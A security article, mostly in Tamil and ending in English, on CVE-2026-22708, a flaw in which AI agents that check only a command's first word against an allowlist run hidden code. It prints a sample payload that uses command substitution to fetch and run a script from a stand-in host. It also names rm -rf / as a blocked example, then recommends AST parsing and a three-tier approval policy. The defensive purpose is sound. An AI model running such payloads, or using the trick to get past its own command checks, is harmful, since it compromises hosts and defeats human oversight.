புதிதாக வெளிவந்த CVE-2026-22708 என்ற பாதிப்பு (vulnerability), எளிய கட்டளை அனுமதிக்கப்பட்ட பட்டியலை (allowlist) மட்டுமே நம்பியிருக்கும் AI முகவர்கள் (agents), தீங்கிழைக்கும் குறியீடுகளை (malicious code) இயக்க ஏமாற்றப்படலாம் என்பதைக் காட்டுகிறது. இந்த குறைபாட்டின் மூலம், ஒரு தாக்குதலாளர் ஒரு சாதாரணமான கட்டளைக்குள் ஒரு தீங்கிழைக்கும் நிரலை (payload) மறைத்து வைக்க முடியும், இது முகவர் ஹோஸ்ட்டில் தன்னிச்சையான ஸ்கிரிப்ட்களை (arbitrary scripts) இயக்குவதற்கான நேரடி வழியை வழங்குகிறது.

மேம்பாடு (development) அல்லது செயல்பாடுகளை (operations) தானியக்கமாக்கும் பெரும்பாலான AI சார்ந்த உதவியாளர்கள், ஒரு கட்டளையின் முதல் வார்த்தையை ஒரு வெள்ளைப்பட்டியலுடன் (whitelist) ஒப்பிட்டுப் பார்ப்பதன் மூலம் செயல்படுகின்றன. அந்த வார்த்தை git அல்லது npm போன்ற ஒரு உள்ளீட்டுடன் பொருந்தினால், அந்த கோரிக்கை நேரடியாக அனுமதிக்கப்படுகிறது. இந்த "முன்னொட்டுப் பொருத்தம்" (prefix matching) செயல்படுத்துவதற்கு எளிதானது மற்றும் முகவர் ஆபத்தான பயன்பாடுகளை இயக்குவதைத் தடுப்பதாகத் தோன்றுவதால் இது கவர்ச்சிகரமானதாக உள்ளது.

நடைமுறையில், இந்த அணுகுமுறை ஒரு பாதுகாப்புத் துளையாகும். ஒரு தாக்குதலாளர் அனுமதிக்கப்பட்ட வார்த்தைக்குப் பிறகு ஒரு கட்டளை மாற்றீடு (command substitution) அல்லது பிற ஷெல் அம்சங்களை (shell features) இணைக்க முடியும், அப்போது வெள்ளைப்பட்டியலால் அதைத் தடுத்து நிறுத்த முடியாது. இதற்கான ஒரு சிறந்த உதாரணம்:

git branch "$(curl evil.sh | sh)"

அனுமதிக்கப்பட்ட பட்டியல் git என்பதை மட்டுமே பார்த்து அந்த கோரிக்கையை அங்கீகரிக்கிறது. பின்னர் ஷெல் $(curl evil.sh | sh) என்பதை விரிவுபடுத்தி, ஒரு ஸ்கிரிப்டை பதிவிறக்கம் செய்து, முகவரின் அதிகாரங்களுடன் (privileges) அதை இயக்குகிறது. ஷெல் மூலம் விளக்கப்படும் வாதங்களை (arguments) ஏற்கும் எந்தவொரு அனுமதிக்கப்பட்ட பைனரியிலும் (binary) இதே தந்திரத்தைப் பயன்படுத்தலாம்.

இதன் தாக்கம் மிகவும் கடுமையானது, ஏனெனில் AI முகவர்கள் பெருகிய முறையில் முக்கியமான சூழல்களில் (privileged environments)—தொடர்ச்சியான ஒருங்கிணைப்புப் குழாய்கள் (continuous-integration pipelines), கிளவுட் மூலம் ஹோஸ்ட் செய்யப்பட்ட மேம்பாட்டு கொள்கலன்கள் (cloud-hosted development containers) மற்றும் பயனர் பணித்தளங்கள் (workstations) எனப் பயன்படுத்தப்படுகின்றன. ஒரு முகவரைத் தீங்கிழைக்கும் நிரலை இயக்கத் தூண்டினால், தாக்குதலாளர் அந்த முகவர் பெற்றுள்ள அதே அணுகல் உரிமைகளைப் பெறுகிறார்; இதில் பெரும்பாலும் ரகசிய விசைகள் (secret keys), வரிசைப்படுத்தல் சான்றுகள் (deployment credentials) அல்லது கட்டுப்பாடற்ற கோப்பு முறைமை அணுகல் (unrestricted filesystem access) ஆகியவை அடங்கும்.

எளிய அனுமதிக்கப்பட்ட பட்டியல்கள் ஏன் தோல்வியடைகின்றன

  • கொள்கையல்ல, சரப் பொருத்தம் (String matching, not policy) – முதல் டோக்கனை (token) மட்டும் சரிபார்ப்பது கட்டளை வரியின் கட்டமைப்பைப் புறக்கணிக்கிறது. வாதங்கள் எவ்வாறு விளக்கப்படுகின்றன அல்லது அவற்றில் ஷெல் மெட்டா எழுத்துக்கள் (shell metacharacters) உள்ளனவா என்பதை இது கருத்தில் கொள்வதில்லை.
  • ஷெல் அம்சங்கள் சக்திவாய்ந்தவை – மாற்றீடு (substitution), குழாய்கள் (pipelines) மற்றும் மறுதொடர்பு (redirection) ஆகியவை அனைத்தும் அனுமதிக்கப்பட்ட பட்டியல் சரிபார்ப்பிற்குப் பிறகு செயலாக்கப்படுகின்றன, இது ஒரு சாதாரணமான கட்டளையை முழுமையான தாக்குதலாக (exploit) மாற்றுகிறது.
  • சூழல் விழிப்புணர்வு இல்லை (No context awareness) – பாதுகாப்பான git status மற்றும் தயாரிப்பு வரலாற்றை (production history) அழிக்கும் ஆபத்தான git push --force ஆகியவற்றுக்கு இடையே உள்ள வித்தியாசத்தை வெள்ளைப்பட்டியலால் கண்டறிய முடியாது.

ஒரு அதிகத் திறன் கொண்ட மாதிரி (A more resilient model)

CVE-2026-22708 குறித்த சமூகத்தின் பதில், எளிய சரச் சரிபார்ப்பிலிருந்து (string checks) கட்டளைகளை ஒரு அப்ஸ்ட்ராக்ட் சிந்தாக்ஸ் ட்ரீயாக (Abstract Syntax Tree - AST) பகுப்பாய்வு செய்வதை நோக்கி நகர்வதாகும். ஒரு AST கட்டளையின் படிநிலை கட்டமைப்பைப் பிரதிபலிக்கிறது, இது இயங்கக்கூடியதை அதன் வாதங்கள் மற்றும் ஏதேனும் ஷெல் கட்டமைப்புகளிலிருந்து பிரிக்கிறது. கட்டளை பிரிக்கப்பட்டதும், ஒரு கொள்கை இயந்திரம் (policy engine) அதை மூன்று வெவ்வேறு பிரிவுகளின் அடிப்படையில் மதிப்பீடு செய்யலாம்:

  • பாதுகாப்பானது (SAFE) – சரிபார்க்கப்பட்ட விதிகளுடன் பொருந்தும் மற்றும் ஆபத்தான கட்டமைப்புகளைக் கொண்டிருக்காத கட்டளைகள். முகவர் இவற்றைத் தானாகவே இயக்கும். உதாரணம்: git status.
  • தடுக்கப்பட்டது (BLOCKED) – ரகசிய கோப்புகளை அணுகும், கோப்பகங்களை (directories) நீக்கும் அல்லது அதிகாரமிக்க ஸ்கிரிப்ட்களை இயக்கும் போன்ற ஆபத்தானதாக அறியப்பட்ட முறைகளுடன் பொருந்தும் கட்டளைகள். முகவர் இவற்றை உடனடியாகத் தடுத்து நிறுத்தும். உதாரணம்: rm -rf /.
  • நிச்சயமற்றது (UNCERTAIN) – பாதுகாப்பானது அல்லது தடுக்கப்பட்டது ஆகிய இரண்டு பிரிவுகளிலும் சரியாகப் பொருந்தாத கட்டளைகள். தொடர்வதற்கு முன் முகவர் மனிதரின் தெளிவான அனுமதியைக் கேட்க வேண்டும். உதாரணம்: git push --force.

UNCERTAIN என்ற புதிய அடுக்கு அச்சுறுத்தல் மாதிரியை (threat model) மாற்றுகிறது. அடையாளம் தெரியாத ஒவ்வொரு கட்டளையையும் தோல்வியாகக் கருதுவதற்குப் பதிலாக, இந்த அமைப்பு நிச்சயமற்ற தன்மையை ஒரு கட்டுப்படுத்தப்பட்ட தொடர்பாக மாற்றுகிறது. இந்த ஒப்புதல் படிநிலையை நடைமுறைப்படுத்த ஒரு நடைமுறை வழிமுறை என்னவென்றால், பயனர் முகவரிடம் மீண்டும் சமர்ப்பிக்க வேண்டிய ஒருமுறை பயன்படுத்தக்கூடிய HMAC டோக்கனை வழங்குவதாகும். இந்த டோக்கன் கோரிக்கையுடன் கிரிப்டோகிராஃபிக் முறையில் இணைக்கப்பட்டுள்ளதால், முகவரால் போலியான அனுமதியை உருவாக்க முடியாது.

பாதுகாப்பு மற்றும் பயன்பாட்டுத்திறனுக்கு இடையிலான சமநிலை

விமர்சகர்கள் AST பகுப்பாய்வு தாமதத்தை (latency) ஏற்படுத்தும் அல்லது மூன்று அடுக்கு மாதிரி பயனர்களை ஒப்புதல் கோரிக்கைகளால் திணறடித்து, உற்பத்தித்திறனைக் குறைக்கும் என்று வாதிடலாம். அந்த கவலைகள் நியாயமானவை: சரியாகச் சரிசெய்யப்படாத விதிகளின் தொகுப்பு தவறான நேர்மறை முடிவுகளை (false positives) உருவாக்கலாம், மேலும் சிக்கலான பகுப்பாய்வு எளிய சரச் சரிபார்ப்பை விட கணக்கீட்டு ரீதியாக அதிகச் சுமையைக் கொண்டிருக்கலாம். இருப்பினும், இதற்கு மாற்றாக இருக்கும் தன்னிச்சையான குறியீடு இயக்கம் (arbitrary code execution) என்பது மிகவும் செலவுமிக்கது. இலகுரக சாண்ட்பாக்ஸிங் (sandboxing) மற்றும் AST பகுப்பாய்வு ஆகிய இரண்டையும் இணைக்கும் கலப்பு அணுகுமுறைகள், வலுவான கொள்கையை நடைமுறைப்படுத்தும் அதே வேளையில் செயல்திறன் பாதிப்புகளைக் குறைக்கலாம்.

டெவலப்பர்கள் மற்றும் நிறுவனங்களுக்கு உள்ள ஆபத்துகள்

  • தரவு ரகசியத்தன்மை (Data confidentiality) – ஊடுருவப்பட்ட ஒரு முகவர் API விசைகள், கடவுச்சொற்கள் மற்றும் உரிமம் பெற்ற குறியீடுகளைத் திருடக்கூடும்.
  • அமைப்பு ஒருமைப்பாடு (System integrity) – தீங்கிழைக்கும் கட்டளைகள் தயாரிப்புப் பொருட்களை (production artifacts) மாற்றலாம் அல்லது நீக்கலாம், வெளியீடுகளைத் (releases) திரும்பப் பெறலாம் அல்லது பேக் டூர்களை (backdoors) நிறுவலாம்.
  • ஒழுங்குமுறை வெளிப்பாடு (Regulatory exposure) – பாதுகாப்பற்ற தானியக்கத்தினால் ஏற்படும் தரவு மீறல்கள், குறிப்பாகத் தரவைக் கையாளுவதில் கடுமையான விதிகளைக் கொண்ட துறைகளில், இணக்கத் தண்டனைகளை (compliance penalties) தூண்டக்கூடும்.

Projects that ignore these risks often either cripple the agent with over-restrictive rules or leave it open to exploitation. The middle ground—defining clear SAFE, BLOCKED, and UNCERTAIN groups—provides a practical path to both security and usefulness.

What to watch next

  • Tooling – Expect open-source libraries that expose AST-based parsers for common shells and build pipelines, along with ready-made policy templates.
  • Standards – Industry groups may propose baseline rule sets for typical development commands, similar to how container runtimes standardized seccomp profiles.
  • Audits – Security teams will likely add “allowlist sanity checks” to their CI/CD audit pipelines, flagging any agent configuration that relies solely on prefix matching.

Takeaway

If your AI agent still decides what to run by looking only at the first word of a command, it is exposed to the vulnerability demonstrated in CVE-2026-22708. Replace that approach with AST-driven parsing and a three-tier policy that forces human confirmation for ambiguous actions. The extra step may feel like friction, but it turns a blind spot into a verifiable control point, protecting both your code and your infrastructure.